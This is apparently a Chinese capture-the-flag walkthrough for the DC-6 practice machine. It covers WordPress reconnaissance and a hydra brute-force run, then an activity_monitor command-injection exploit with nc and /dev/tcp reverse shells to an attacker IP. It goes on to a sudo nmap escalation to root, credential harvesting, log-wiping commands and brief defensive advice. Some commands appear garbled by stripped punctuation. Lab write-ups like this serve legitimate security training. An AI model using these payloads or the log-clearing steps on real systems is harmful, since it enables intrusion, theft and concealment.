DC-6靶机渗透实战：从WordPress漏洞到Root提权

1. DC-6靶机渗透概述DC-6是专为网络安全学习者设计的虚拟靶机环境基于WordPress构建。这个靶机模拟了企业级CMS系统的典型漏洞链包含从信息收集、漏洞利用到权限提升的完整攻击路径。作为CTF入门者向中级进阶的经典案例它涵盖了Web渗透测试中80%的核心技术点。我在实际渗透测试中发现DC-6靶机特别适合练习以下技能WordPress专项漏洞利用WPScan实战中间件配置缺陷利用密码爆破的精细化操作Linux权限提升的多种姿势漏洞链的组合利用思维靶机默认采用桥接网络模式建议在VMware或VirtualBox中改为NAT模式进行测试。官方提供了三种下载方式国内用户推荐使用镜像下载链接速度更稳定https://download.vulnhub.com/dc/DC-6.zip2. 环境准备与信息收集2.1 网络拓扑配置将靶机网络模式改为NAT后首先需要确定目标IP。我习惯使用netdiscover进行二层发现netdiscover -i eth0 -r 192.168.88.1/24当发现类似192.168.88.184的未知IP时立即用nmap验证基础服务nmap -sV -T4 192.168.88.184关键发现22/tcp ssh OpenSSH 7.4p180/tcp http Apache/2.4.25注意如果发现HTTP请求被重定向到wordy域名需在/etc/hosts添加记录 192.168.88.184 wordy2.2 WordPress深度侦察使用WPScan进行全维度扫描时建议添加以下参数组合wpscan --url http://wordy \ --enumerate uvpvt \ --plugins-detection aggressive \ --api-token YOUR_API_KEY扫描结果分析要点版本信息WordPress 5.1.1存在已知漏洞主题twentyseventeen检查主题目录遍历用户枚举结果admingrahammarksarahjens可疑插件activity_monitor后续重点突破点我通常会建立用户-密码矩阵表辅助爆破用户名常见密码组合markhelpdesk01, mark123, !markgrahamGraham2023, passGrahamadminadmin, wordpress, 1234563. 漏洞利用实战3.1 密码爆破的艺术针对mark用户使用精细化字典策略crunch 8 8 -t helpdesk%% custom_dict.txt hydra -l mark -P custom_dict.txt wordy http-form-post \ /wp-login.php:log^USER^pwd^PASS^wp-submitLog In:Fincorrect爆破成功后获得凭证mark/helpdesk01经验WordPress后台登录存在防爆破机制建议设置3秒请求间隔使用--threads 1降低并发配合代理池轮转3.2 activity_monitor插件RCE该插件存在命令注入漏洞两种利用方式方法一Web触发在Kali开启监听nc -lvnp 4444访问插件管理页面http://wordy/wp-admin/admin.php?pageplainview_activity_monitortabactivity_tools抓包修改lookup参数为baidu.com | nc -e /bin/bash 192.168.88.183 4444方法二直接请求curl -X POST http://wordy/wp-admin/admin.php \ -d pageplainview_activity_monitortabactivity_toolslookupgoogle.fr|nc 192.168.88.183 4444 -e /bin/bash获得初始shell后立即升级为完整TTYpython -c import pty; pty.spawn(/bin/bash) export TERMxterm4. 权限提升路径4.1 横向移动graham用户在/home/mark/stuff目录发现thing-to-do.txtgraham的密码GSo7isUM1D4通过SSH登录验证ssh grahamwordy4.2 纵向提权jens用户查看sudo权限sudo -l发现可执行/home/jens/backups.sh该脚本内容#!/bin/bash tar -czf backups.tar.gz /var/www/html利用方法清空原脚本内容插入反弹shell代码bash -i /dev/tcp/192.168.88.183/5555 01等待cron执行或手动触发4.3 终极提权root访问发现jens用户可以无密码执行nmapsudo nmap --interactive nmap !sh更优雅的方式是使用nmap脚本引擎echo os.execute(/bin/bash) /tmp/privesc.nse sudo nmap --script/tmp/privesc.nse5. 渗透后操作与痕迹清理5.1 关键证据收集# 用户历史命令 cat /home/*/.bash_history # SSH密钥 find / -name id_rsa 2/dev/null # 数据库凭证 grep -r DB_PASSWORD /var/www/html5.2 日志清理技巧# 删除当前用户相关日志 sed -i /192.168.88.183/d /var/log/auth.log # 清空web访问日志 echo /var/log/apache2/access.log6. 防御建议根据本次渗透经验企业应加强以下防护WordPress安全加固禁用xmlrpc.php限制wp-admin访问IP定期更新核心与插件系统层防护# 禁用危险sudo权限 visudo # 删除nmap的suid权限 chmod -s /usr/bin/nmap网络层控制配置fail2ban防御爆破设置SSH双因素认证这个靶机最精妙之处在于展示了从Web漏洞到系统提权的完整攻击链。我在实际渗透测试中遇到过类似场景攻击者往往利用开发人员留下的注释信息如thing-to-do.txt找到突破口。建议开发团队建立完善的代码审查机制避免在生产环境遗留测试信息。